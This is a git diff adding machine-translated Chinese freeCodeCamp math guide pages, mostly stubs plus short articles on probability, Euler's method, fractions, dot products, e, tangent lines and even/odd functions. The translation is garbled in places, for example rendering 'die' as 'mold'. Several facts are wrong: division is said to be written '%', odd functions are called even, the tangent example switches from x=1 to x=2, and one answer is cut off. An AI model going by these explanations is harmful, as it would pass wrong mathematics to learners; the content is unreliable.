+localeTitle: 3乘3矩阵标准方法的决定因素
+---
+## 3乘3矩阵标准方法的决定因素
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/determinant-of-a-3-by-3-matrix-standard-method/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/mathematics/determinant-of-a-matrix/index.md b/client/src/guide/chinese/mathematics/determinant-of-a-matrix/index.md
new file mode 100644
index 0000000000..c6c23ef532
--- /dev/null
+++ b/client/src/guide/chinese/mathematics/determinant-of-a-matrix/index.md
@@ -0,0 +1,11 @@
+---
+title: Determinant of a Matrix
+localeTitle: 矩阵的行列式
+---
+## 矩阵的行列式
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/determinant-of-a-matrix/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/mathematics/die-rolling-probability/index.md b/client/src/guide/chinese/mathematics/die-rolling-probability/index.md
new file mode 100644
index 0000000000..b23a73cd42
--- /dev/null
+++ b/client/src/guide/chinese/mathematics/die-rolling-probability/index.md
@@ -0,0 +1,19 @@
+---
+title: Die Rolling Probability
+localeTitle: 模具滚动概率
+---
+## 模具滚动概率
+
+我们最初会考虑单个模具，我们知道这是公平的。一个公平的模具是这样一种模具，当你滚动时，所有六个面都有相同的可能性。
+
+由于有**6个**边，这意味着任何特定方面面朝上的可能性为**1/6** 。这种概率通常写为分数，因此为1/6。使用P（侧面）来表示特定面朝上的概率（P），我们可以说：
+
+P（1）= P（2）= P（3）= P（4）= P（5）= P（6）= 1/6。
+
+假设我们现在采取2个公平的骰子。由于模具1的六个侧面中的每一个可以与模具2的六个侧面中的每一个面朝上显示，因此存在6×6 = 36种不同的可能性，因此发生任何组合的机会是1/36。
+
+如果我们在掷骰子时看到骰子的顺序无关紧要，我们必须仔细查看概率。例如，3和5可以在模具1上显示为3，在模具1上显示5 **或**在模具1上显示5，在模具2上显示3（2种组合），因此我们可以说P（3,5或5,3） = 1/36 + 1/36 = 1/18。
+
+如果显示的总和是最重要的，我们必须查看构成我们感兴趣的总和的所有面部组合。例如，假设我们想知道总和为7的概率。知道7 = 1 + 6 **或** 6 + 1 **或** 2 + 5 **或** 5 + 2 **或** 3 + 4 **或** 4 + 3（6种组合）使P（sum = 7）为1/36 + 1/36 + 1 / 36 + 1/36 + 1/36 + 1/36 = 6 \* 1/36 = 6/36或1/6。
+
+练习：滚动两个公平骰子时获得总和为5的概率是多少？ 2的总和怎么样？
\ No newline at end of file
diff --git a/client/src/guide/chinese/mathematics/differential-equations/eulers-method/index.md b/client/src/guide/chinese/mathematics/differential-equations/eulers-method/index.md
new file mode 100644
index 0000000000..1f0c499095
--- /dev/null
+++ b/client/src/guide/chinese/mathematics/differential-equations/eulers-method/index.md
@@ -0,0 +1,71 @@
+---
+title: Euler's Method
+localeTitle: 欧拉方法
+---
+# 欧拉方法
+
+Euler方法是用于求解具有给定初始值的常微分方程（ODE）的一阶数值过程。
+
+## 一般初值问题
+
+![](https://raw.githubusercontent.com/pranabendra/articles/master/Euler-method/images/eqn006.png)
+
+## 方法
+
+欧拉的方法使用简单的公式，
+
+![](https://raw.githubusercontent.com/pranabendra/articles/master/Euler-method/images/eqn3.png)
+
+在点`x`处构造切线并获得`y(x+h)` ，其斜率为，
+
+![](https://raw.githubusercontent.com/pranabendra/articles/master/Euler-method/images/eqn008.png)
+
+![](https://raw.githubusercontent.com/pranabendra/articles/master/Euler-method/images/Euler.png)
+
+在欧拉方法中，您可以通过每个区间中的切线（即一系列短线段）以`h`步长逼近解的曲线。
+
+_通常_ ，如果使用小步长，则近似的精度会增加。
+
+## 通式
+
+![](https://raw.githubusercontent.com/pranabendra/articles/master/Euler-method/images/eqn7.png)
+
+![](https://raw.githubusercontent.com/pranabendra/articles/master/Euler-method/images/eqn_new_2.png)
+
+## 任意点`b`功能值，由`y(b)`
+
+![](https://raw.githubusercontent.com/pranabendra/articles/master/Euler-method/images/eqn6.png)
+
+哪里，
+
+*   **n** =步数
+*   **h** =间隔宽度（每一步的大小）
+
+### 伪代码
+
+![](https://raw.githubusercontent.com/pranabendra/articles/master/Euler-method/images/eqn_new_1.png)
+
+## 例
+
+找到`y(1)` ，给定
+
+![](https://raw.githubusercontent.com/pranabendra/articles/master/Euler-method/images/eqn007.png)
+
+通过分析求解，解是_**y = e x**_和`y(1)` = `2.71828` 。 （注意：此分析解决方案仅用于比较准确性。）
+
+使用欧拉法，考虑`h` = `0.2` ， `0.1` ， `0.01` ，可以看到以下的图中的结果。
+
+![](https://raw.githubusercontent.com/pranabendra/articles/master/Euler-method/images/comparison.png)
+
+当`h` = `0.2` ， `y(1)` = `2.48832` （误差= 8.46％）
+
+当`h` = `0.1` ， `y(1)` = `2.59374` （误差= 4.58％）
+
+当`h` = `0.01` ， `y(1)` = `2.70481` （误差= 0.50％）
+
+您可以注意到，当步数很小时，准确度如何提高。
+
+## 更多信息：
+
+1.  [求解微分方程的数值方法](http://calculuslab.deltacollege.edu/ODE/7-C-1/7-C-1-h-c.html)
+2.  [欧拉的方法](https://en.wikipedia.org/wiki/Euler_method)
\ No newline at end of file
diff --git a/client/src/guide/chinese/mathematics/differential-equations/index.md b/client/src/guide/chinese/mathematics/differential-equations/index.md
new file mode 100644
index 0000000000..63718a56d1
--- /dev/null
+++ b/client/src/guide/chinese/mathematics/differential-equations/index.md
@@ -0,0 +1,11 @@
+---
+title: Differential Equations
+localeTitle: 微分方程
+---
+## 微分方程
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/differential-equations/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/mathematics/direct-comparison-test-series/index.md b/client/src/guide/chinese/mathematics/direct-comparison-test-series/index.md
new file mode 100644
index 0000000000..fdfcfda217
--- /dev/null
+++ b/client/src/guide/chinese/mathematics/direct-comparison-test-series/index.md
@@ -0,0 +1,11 @@
+---
+title: Direct Comparison Test Series
+localeTitle: 直接比较测试系列
+---
+## 直接比较测试系列
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/direct-comparison-test-series/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/mathematics/directly-proportional-and-inversely-proportional/index.md b/client/src/guide/chinese/mathematics/directly-proportional-and-inversely-proportional/index.md
new file mode 100644
index 0000000000..eba65b1bb2
--- /dev/null
+++ b/client/src/guide/chinese/mathematics/directly-proportional-and-inversely-proportional/index.md
@@ -0,0 +1,11 @@
+---
+title: Directly Proportional and Inversely Proportional
+localeTitle: 直接比例和反比例
+---
+## 直接比例和反比例
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/directly-proportional-and-inversely-proportional/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/mathematics/discrete-and-continuous-data/index.md b/client/src/guide/chinese/mathematics/discrete-and-continuous-data/index.md
new file mode 100644
index 0000000000..71beece350
--- /dev/null
+++ b/client/src/guide/chinese/mathematics/discrete-and-continuous-data/index.md
@@ -0,0 +1,11 @@
+---
+title: Discrete and Continuous Data
+localeTitle: 离散和连续数据
+---
+## 离散和连续数据
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/discrete-and-continuous-data/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/mathematics/distributive-property-explained/index.md b/client/src/guide/chinese/mathematics/distributive-property-explained/index.md
new file mode 100644
index 0000000000..969cf4c732
--- /dev/null
+++ b/client/src/guide/chinese/mathematics/distributive-property-explained/index.md
@@ -0,0 +1,11 @@
+---
+title: Distributive Property Explained
+localeTitle: 分配财产解释
+---
+## 分配财产解释
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/distributive-property-explained/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/mathematics/dividing-fractions-by-whole-numbers/index.md b/client/src/guide/chinese/mathematics/dividing-fractions-by-whole-numbers/index.md
new file mode 100644
index 0000000000..68e7a29b2a
--- /dev/null
+++ b/client/src/guide/chinese/mathematics/dividing-fractions-by-whole-numbers/index.md
@@ -0,0 +1,20 @@
+---
+title: Dividing Fractions by Whole Numbers
+localeTitle: 按整数划分分数
+---
+## 按整数划分分数
+
+以下是将分数除以整数的步骤
+
+1.  将分数的分母乘以整数。
+2.  如果可能，简化结果分数
+
+#### 例1
+
+ 五分之四 ÷3 = 4 /（3 \* 5）=15分之4 
+
+#### 例2
+
+ 6/7÷2 = 6 /（2 \* 7）= 6/14 = 3/7（简体） 
+
+请注意，通过将其分母视为1，整数也可以被视为分数。然后，它变得类似于分割两个分数
\ No newline at end of file
diff --git a/client/src/guide/chinese/mathematics/dividing-fractions/index.md b/client/src/guide/chinese/mathematics/dividing-fractions/index.md
new file mode 100644
index 0000000000..4749b04c01
--- /dev/null
+++ b/client/src/guide/chinese/mathematics/dividing-fractions/index.md
@@ -0,0 +1,34 @@
+---
+title: Dividing Fractions
+localeTitle: 分割分数
+---
+## 分割分数
+
+这类似于将两个分数相乘，还有一个额外的步骤
+
+考虑表达式A÷B，这里A被称为_被除数_ ，B被称为_除数_ 。
+
+以下是划分两个分数的步骤，
+
+1.  取除数除数（B）的倒数。
+2.  将红利分数（A）乘以除数分数的倒数
+3.  如果可能，简化结果分数
+
+#### 例子
+
+##### 例1
+
+ 2 / 3 ÷ 6 / 7 
+
+1.  取除数的倒数。要取一个分数的倒数，交换该分数的分子和分母。的6/7的倒数是6分之7
+    
+2.  将被除数与除数的倒数相乘
+    
+
+ 三分之二 ÷6/7 = 2/3×7/6 = 7/9 
+
+##### 例2
+
+ 4/6÷2 = 4/6×1/2 = 4/12 = 1/3（简体） 
+
+请注意，通过将其分母视为1，可将整数视为分数。 此外，您只能除以非零分数。
\ No newline at end of file
diff --git a/client/src/guide/chinese/mathematics/dividing-polynomials-synthetic-division/index.md b/client/src/guide/chinese/mathematics/dividing-polynomials-synthetic-division/index.md
new file mode 100644
index 0000000000..39ae80bff8
--- /dev/null
+++ b/client/src/guide/chinese/mathematics/dividing-polynomials-synthetic-division/index.md
@@ -0,0 +1,11 @@
+---
+title: Dividing Polynomials Synthetic Division
+localeTitle: 划分多项式综合划分
+---
+## 划分多项式综合划分
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/dividing-polynomials-synthetic-division/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/mathematics/division/index.md b/client/src/guide/chinese/mathematics/division/index.md
new file mode 100644
index 0000000000..d3f84e90da
--- /dev/null
+++ b/client/src/guide/chinese/mathematics/division/index.md
@@ -0,0 +1,13 @@
+---
+title: Division
+localeTitle: 师
+---
+## 师
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/division/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+除法由符号'％'表示。用antother分配一个数字是为了找出第二个进入第一个数字的次数。因此7/2 = 3.5因为2进入7 3和1半。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/mathematics/domain-and-range-of-quadratic-functions/index.md b/client/src/guide/chinese/mathematics/domain-and-range-of-quadratic-functions/index.md
new file mode 100644
index 0000000000..3ed07cfa40
--- /dev/null
+++ b/client/src/guide/chinese/mathematics/domain-and-range-of-quadratic-functions/index.md
@@ -0,0 +1,11 @@
+---
+title: Domain and Range of Quadratic Functions
+localeTitle: 二次函数的域和范围
+---
+## 二次函数的域和范围
+
+域和范围确定任何给定函数内变量的可能值。
+
+在二次函数的情况下，域几乎总是x = +/-无穷大（x可以等于任何数字）。 另一方面，范围由抛物线的顶点确定。例如，等式y = x ^ 2 + 2的范围是y> 2，因为y不能等于顶点以下的任何数字。
+
+### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/mathematics/domain-and-range-of-rational-functions/index.md b/client/src/guide/chinese/mathematics/domain-and-range-of-rational-functions/index.md
new file mode 100644
index 0000000000..681e1946c9
--- /dev/null
+++ b/client/src/guide/chinese/mathematics/domain-and-range-of-rational-functions/index.md
@@ -0,0 +1,11 @@
+---
+title: Domain and Range of Rational Functions
+localeTitle: 有理函数的域和范围
+---
+## 有理函数的域和范围
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/domain-and-range-of-rational-functions/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/mathematics/dot-product/index.md b/client/src/guide/chinese/mathematics/dot-product/index.md
new file mode 100644
index 0000000000..2dc72945de
--- /dev/null
+++ b/client/src/guide/chinese/mathematics/dot-product/index.md
@@ -0,0 +1,58 @@
+---
+title: Dot Product
+localeTitle: 点产品
+---
+## 点产品
+
+点积是将两个向量相乘以获得单个数字的方法。 点积在物理学和线性代数中很常见。
+
+您可以将两个向量**a**和**b**的点积写为**a** · **b** 。
+
+两个向量必须具有相同的长度才能得到点积。
+
+要查找点积，请将`nth`一个向量中的第`nth`元素乘以第二`nth`向量中的`nth`元素。 为所有元素执行此操作。 然后，找到所有这些产品的总和。 这个总和是点积！
+
+### 点产品的属性
+
+两个向量的点积也可以表示为`a · b = ||a|| * ||b|| * cos(theta)` 。 在这个公式中， `||a||`是矢量**a**的大小， `theta`是两个矢量之间的角度。
+
+两个正交（也称为垂直）矢量的点积总是0。
+
+### 工作实例
+
+例如，假设您有向量**a**和**b** 。 设`a = (1 2 3 4)` ， `b = (-1 0 1 2)` 。
+
+点积为`(1)(-1) + (2)(0) + (3)(1) + (4)(2) = -1 + 0 + 3 + 8 = 12` 。 所以在这种情况下，你会说**a** · **b** = 12。
+
+### 代码示例
+
+这是JavaScript中的示例函数。 它返回两个向量参数的点积：
+
+```javascript
+/** 
+ * @param {array} a - A vector/array of numbers 
+ * @param {array} b - A vector/array of numbers with the same length as a 
+ * @returns {number} - The dot product of a and b 
+ */ 
+ function dotProduct(a, b) { 
+  // Check if the lengths are the same - if not, there can't be a dot product 
+  if (a.length !== b.length) { 
+    throw "vector lengths must be equal"; 
+  } 
+ 
+  // Create a variable to store the sum as we calculate it 
+  let product = 0; 
+ 
+  // Loop through the vectors, calculate products, and add them to the total 
+  for (let i = 0; i < a.length; i++) { 
+    // You may want to ensure that a[i] and b[i] are both finite numbers 
+    product += a[i] * b[i]; 
+  } 
+ 
+  return product; 
+ } 
+```
+
+### 更多信息：
+
+[矢量](../vectors/index.md)
\ No newline at end of file
diff --git a/client/src/guide/chinese/mathematics/double-angle-formulas/index.md b/client/src/guide/chinese/mathematics/double-angle-formulas/index.md
new file mode 100644
index 0000000000..55962a70c6
--- /dev/null
+++ b/client/src/guide/chinese/mathematics/double-angle-formulas/index.md
@@ -0,0 +1,11 @@
+---
+title: Double Angle Formulas
+localeTitle: 双角公式
+---
+## 双角公式
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/double-angle-formulas/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/mathematics/e-constant/index.md b/client/src/guide/chinese/mathematics/e-constant/index.md
new file mode 100644
index 0000000000..8874a450d5
--- /dev/null
+++ b/client/src/guide/chinese/mathematics/e-constant/index.md
@@ -0,0 +1,15 @@
+---
+title: E Constant
+localeTitle: E常数
+---
+## E常数
+
+以Leonhard Euler命名的E常数等于值： 2.718281828 e是自然对数的基础，这种数学适用于数学和物理学的许多领域，任何自然对数，如果你要遇到一个，都与任何其他对数类似地求解。
+
+但为什么“e”很重要？ E是一个常数，我们可以用它来观察指数函数的行为。 E ^ x类似于许多其他指数曲线。 此外，e ^ x的倒数是ln（x），即基本对数函数。 特别重要的是，ln（e）= 1。
+
+http://www.mathsisfun.com/numbers/e-eulers-number.html
+
+#### 更多信息：
+
+有关e，指数和对数函数的更多信息，请参见[此处](https://www.khanacademy.org/tag/natural-logarithm-and-e)
\ No newline at end of file
diff --git a/client/src/guide/chinese/mathematics/e-eulers-number/index.md b/client/src/guide/chinese/mathematics/e-eulers-number/index.md
new file mode 100644
index 0000000000..669e378c37
--- /dev/null
+++ b/client/src/guide/chinese/mathematics/e-eulers-number/index.md
@@ -0,0 +1,13 @@
+---
+title: E Eulers Number
+localeTitle: E欧拉数
+---
+## E欧拉数
+
+欧拉数，2.71828，是一个着名的非理性数学常数，作为自然对数的基础。它以瑞士数学家Leonhard Euler的名字命名，可用以下符号ℇ表示。例如，这个数字在数学中有许多重要的用途和作用，并应用于计算复合兴趣。您将在微积分中使用欧拉数，以便能够使用指数函数和对数执行微分和积分微积分。
+
+![Leonhard_Euler图片](https://github.com/TomerPacific/fccGuideImages/blob/master/Leonhard_Euler.jpg?raw=true)
+
+＃＃＃＃ 更多信息：
+
+要了解有关欧拉数的更多信息，您可以访问：https：//en.wikipedia.org/wiki/E _（数学_常数）
\ No newline at end of file
diff --git a/client/src/guide/chinese/mathematics/eigenvalue/index.md b/client/src/guide/chinese/mathematics/eigenvalue/index.md
new file mode 100644
index 0000000000..030c09e726
--- /dev/null
+++ b/client/src/guide/chinese/mathematics/eigenvalue/index.md
@@ -0,0 +1,11 @@
+---
+title: Eigenvalue
+localeTitle: 特征值
+---
+## 特征值
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/eigenvalue/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/mathematics/end-behavior-of-a-function/index.md b/client/src/guide/chinese/mathematics/end-behavior-of-a-function/index.md
new file mode 100644
index 0000000000..8af53adb3b
--- /dev/null
+++ b/client/src/guide/chinese/mathematics/end-behavior-of-a-function/index.md
@@ -0,0 +1,11 @@
+---
+title: End Behavior of a Function
+localeTitle: 函数的结束行为
+---
+## 函数的结束行为
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/end-behavior-of-a-function/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/mathematics/equal-less-and-greater-than-symbols/index.md b/client/src/guide/chinese/mathematics/equal-less-and-greater-than-symbols/index.md
new file mode 100644
index 0000000000..48b6c12f63
--- /dev/null
+++ b/client/src/guide/chinese/mathematics/equal-less-and-greater-than-symbols/index.md
@@ -0,0 +1,27 @@
+---
+title: Equal Less and Greater Than Symbols
+localeTitle: 等于和大于符号
+---
+## 等于和大于符号
+
+本文将讨论以下符号： `=` ， `<`和`>` 。
+
+等号`=`用于表示相等。无论在等号的左侧是什么，都可以与右侧的内容互换。将数学语句转换为单词时，我们读取`=` “等于”但它也可以读作“是”。
+
+例如：
+
+2x = 35y应如下所示：
+
+两个X等于三十五个Y或两个X是三十五个Y.
+
+小于号`<`和大于号`>`用于表示不等式。当试图记住哪个符号是有用的时候记住，小于符号`<`看起来有点像一个稍微旋转的大写字母L。
+
+一旦你知道哪个标志是要记住的是阅读不等式，就像你会用英语阅读一个句子，即从左到右。
+
+例如：
+
+25 <42应如下所示：
+
+二十五不到四十二。
+
+另一个可能有用的巧妙技巧是，您可以将不等式符号视为指向较小值的箭头。所以在上面的例子中，25 <42，箭头指向25。
\ No newline at end of file
diff --git a/client/src/guide/chinese/mathematics/equation-of-a-line/index.md b/client/src/guide/chinese/mathematics/equation-of-a-line/index.md
new file mode 100644
index 0000000000..dfae1373d4
--- /dev/null
+++ b/client/src/guide/chinese/mathematics/equation-of-a-line/index.md
@@ -0,0 +1,23 @@
+---
+title: Equation of a Line
+localeTitle: 线的方程
+---
+## 线的方程
+
+### 对于给定斜率和y截距（标准格式）：
+
+设`m`为线的斜率， `b`为y轴截距。 （注意，y轴截距是给定线与y轴交叉的点）。那么一条线的方程是：
+
+`y = mx+b`
+
+### 对于给定斜率和线路通过的一个点（斜坡形式）：
+
+设`m`为直线的斜率， `(x1, y1)`为给定直线通过的点的坐标。那么一条线的方程是：
+
+`(y - y1) = m(x - x1)`
+
+### 线路通过的两点：
+
+令`(x1, y1)`和`(x2, y2)`是给定线通过的两个点的坐标。那么一条线的方程是：
+
+`(y - y1)(x2 - x1) = (y2 - y1)(x - x1)`
\ No newline at end of file
diff --git a/client/src/guide/chinese/mathematics/equation-of-tangent-line/index.md b/client/src/guide/chinese/mathematics/equation-of-tangent-line/index.md
new file mode 100644
index 0000000000..ba7c0f8a11
--- /dev/null
+++ b/client/src/guide/chinese/mathematics/equation-of-tangent-line/index.md
@@ -0,0 +1,34 @@
+---
+title: Equation of Tangent Line
+localeTitle: 切线方程
+---
+## 切线方程
+
+曲线的切线是仅在单个点处接触曲线或函数图形的直线。切线表示该点处的函数的瞬时变化率。函数上某点的切线斜率等于同一点处函数的导数。
+
+### 查找切线方程：
+
+要找到点x = x0处曲线的切线方程，我们需要找到以下内容：
+
+1.  找到函数的导数（即曲线方程的导数）。
+2.  通过放置x = x0找到导数的值，这将是切线的斜率（比如m）。
+3.  通过将x0的值放在曲线的等式中来找到值y0。我们的切线将通过这一点（x0，y0）
+4.  使用点斜率形式找出切线的方程。当切线通过（x0，y0）并具有斜率m时，切线的方程可以给出如下： （Y-Y0）= M。（X-X0）
+
+#### 示例：在x = 1处找到曲线的切线方程f（x）= 4x ^ 2-4x + 1
+
+解： f（x）= 4x ^ 2-4x + 1
+
+步骤1：f'（x）= 8x-4
+
+步骤2：m = f'（2）= 8.2-4 = 12
+
+步骤3：y0 = f（x0）= f（2）= 4.2 ^ 2-4.2 + 1 = 16-8 + 1 = 9
+
+步骤4：m = 12; （X0，Y0）=（2,9）
+
+因此，切线方程为： （Y-Y0）= M。（X-X0）
+
+\=>（y-9）= 12（x-2）
+
+\=> y = 12x-15
\ No newline at end of file
diff --git a/client/src/guide/chinese/mathematics/eulers-formula/index.md b/client/src/guide/chinese/mathematics/eulers-formula/index.md
new file mode 100644
index 0000000000..d63ef459f3
--- /dev/null
+++ b/client/src/guide/chinese/mathematics/eulers-formula/index.md
@@ -0,0 +1,17 @@
+---
+title: Eulers Formula
+localeTitle: 欧拉公式
+---
+## 欧拉公式
+
+欧拉公式是一个数学标识，表明（对于x的任何值）： E 1（IX）= cosx + isinx
+
+由于以下情况，这是有意义的： 当x = pi时，欧拉公式赋予了pi，e和i的美丽身份。
+
+E 1（IPI）+ 1 = 0，
+
+对于数学家来说，一个着名的笑话是“有多少数学家需要更换一个灯泡？”并给出答案“-e ^（ipi）” 你能说出答案是什么吗？
+
+#### 更多信息：
+
+[在这里](http://mathworld.wolfram.com/EulerFormula.html)阅读更多关于Eulers Formula的[信息](http://mathworld.wolfram.com/EulerFormula.html)
\ No newline at end of file
diff --git a/client/src/guide/chinese/mathematics/even-and-odd-functions/index.md b/client/src/guide/chinese/mathematics/even-and-odd-functions/index.md
new file mode 100644
index 0000000000..b3ff38be93
--- /dev/null
+++ b/client/src/guide/chinese/mathematics/even-and-odd-functions/index.md
@@ -0,0 +1,29 @@
+---
+title: Even and Odd Functions
+localeTitle: 偶数和奇数函数
+---
+## 偶数和奇数函数
+
+### 一般功能
+
+函数`f`是从集合A（输入/域）到集合B（输出/共域）的映射。它可以是基于许多分类的不同类型。
+
+### 甚至功能：
+
+当且仅当`f(x) = f(-x)`函数`f(x)`才是偶数。
+
+偶函数的示例将是`f(x) = x^2`因为`f(2) = 2^2 = 4 = (-2)^2 = f(-2)` 。
+
+三角函数 - `cos(x)`和`sec(x)`也是偶函数
+
+### 奇怪的功能
+
+当且仅当`f(x) = -f(-x)`函数`f(x)`才是偶数
+
+奇函数的一个例子是`f(x) = x^3`因为`f(2) = 2^3 = 8 = -(-8) = -(-2)^3 = -f(-2)` 。
+
+三角函数 - `sin(x)` ， `tan(x)` ， `cot(x)`和`cosec(x)`也是偶函数
+
+#### 更多信息：
+
+*   [维基百科](https://en.wikipedia.org/wiki/Even_and_odd_functions)
\ No newline at end of file
diff --git a/client/src/guide/chinese/mathematics/example-all-the-ways-you-can-flip-a-coin/index.md b/client/src/guide/chinese/mathematics/example-all-the-ways-you-can-flip-a-coin/index.md
new file mode 100644
index 0000000000..32dad3b782
--- /dev/null
+++ b/client/src/guide/chinese/mathematics/example-all-the-ways-you-can-flip-a-coin/index.md
@@ -0,0 +1,11 @@
+---
+title: Example All the Ways You Can Flip a Coin
+localeTitle: 示例所有可以翻转硬币的方法
+---
+## 示例所有可以翻转硬币的方法
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/example-all-the-ways-you-can-flip-a-coin/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/mathematics/example-of-subtracting-fractions-with-unlike-denominators/index.md b/client/src/guide/chinese/mathematics/example-of-subtracting-fractions-with-unlike-denominators/index.md
new file mode 100644
index 0000000000..ea12f845e8
--- /dev/null
+++ b/client/src/guide/chinese/mathematics/example-of-subtracting-fractions-with-unlike-denominators/index.md
@@ -0,0 +1,35 @@
+---
+title: Example of Subtracting Fractions with Unlike Denominators
+localeTitle: 用分母不同的方法减去分数的例子
+---
+## 用分母不同的方法减去分数的例子
+
+用不同的分母减去分数类似于添加具有不同分母的分数。这是步骤，
+
+1.  使用公分母将分数转换为等效分数
+    
+2.  要将两个分数转换为公分母，请将分数的分子和分母与另一个分数的分母相乘。
+    
+3.  既然分数具有共同的分母，则减去两个分数的分子并将结果放在分母上
+    
+    考虑一下， a / b和c / d是具有不同分母的分数，你可以在一个步骤中减去这些分数，如下所示，
+    
+
+ a / b - c / d = （a \* d） - （b \* c） / （b \* d） 
+
+###### 例
+
+考虑馏分5/6和15分之5
+
+1.  分母是不同的。所以你需要让分母变得普遍
+2.  在此之前，如果可能，简化分数。在这种情况下，15分之5可以简化为三分之一 。这里是5/15和三分之一被称为等效馏分。
+3.  简化后，分数是5/6和三分之一 。
+4.  现在要减去这些分数，你必须使分母通用
+5.  将分数的分子和分母乘以另一分母的分母
+6.  对于级分5/6，其它分数的分母是3.对于分数1/3，其它分数的分母为6
+
+ （（5 \* 3） - （1 \* 6））/（6×3）= 十八分之九 
+
+7.  将所得的级分是十八分之九 。这可以进一步简化为二分之一
+
+ 5/6 - 一十五分之五 = 1 /
\ No newline at end of file
diff --git a/client/src/guide/chinese/mathematics/exponent-rules-intro/index.md b/client/src/guide/chinese/mathematics/exponent-rules-intro/index.md
new file mode 100644
index 0000000000..30276d3a0c
--- /dev/null
+++ b/client/src/guide/chinese/mathematics/exponent-rules-intro/index.md
@@ -0,0 +1,11 @@
+---
+title: Exponent Rules Intro
+localeTitle: 指数规则简介
+---
+## 指数规则简介
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/exponent-rules-intro/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/mathematics/exponential-and-logarithmic-functions/index.md b/client/src/guide/chinese/mathematics/exponential-and-logarithmic-functions/index.md
new file mode 100644
index 0000000000..bce17834d6
--- /dev/null
+++ b/client/src/guide/chinese/mathematics/exponential-and-logarithmic-functions/index.md
@@ -0,0 +1,9 @@
+---
+title: Exponential and Logarithmic Functions
+localeTitle: 指数和对数函数
+---
+## 指数和对数函数
+
+指数函数的形式如下：f（x）= b \* a ^ x 对数函数的形式如下：f（x）= loga（x）+ b
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/mathematics/exponential-functions-compound-interest/index.md b/client/src/guide/chinese/mathematics/exponential-functions-compound-interest/index.md
new file mode 100644
index 0000000000..89d14ae292
--- /dev/null
+++ b/client/src/guide/chinese/mathematics/exponential-functions-compound-interest/index.md
@@ -0,0 +1,11 @@
+---
+title: Exponential Functions Compound Interest
+localeTitle: 指数函数复利
+---
+## 指数函数复利
+
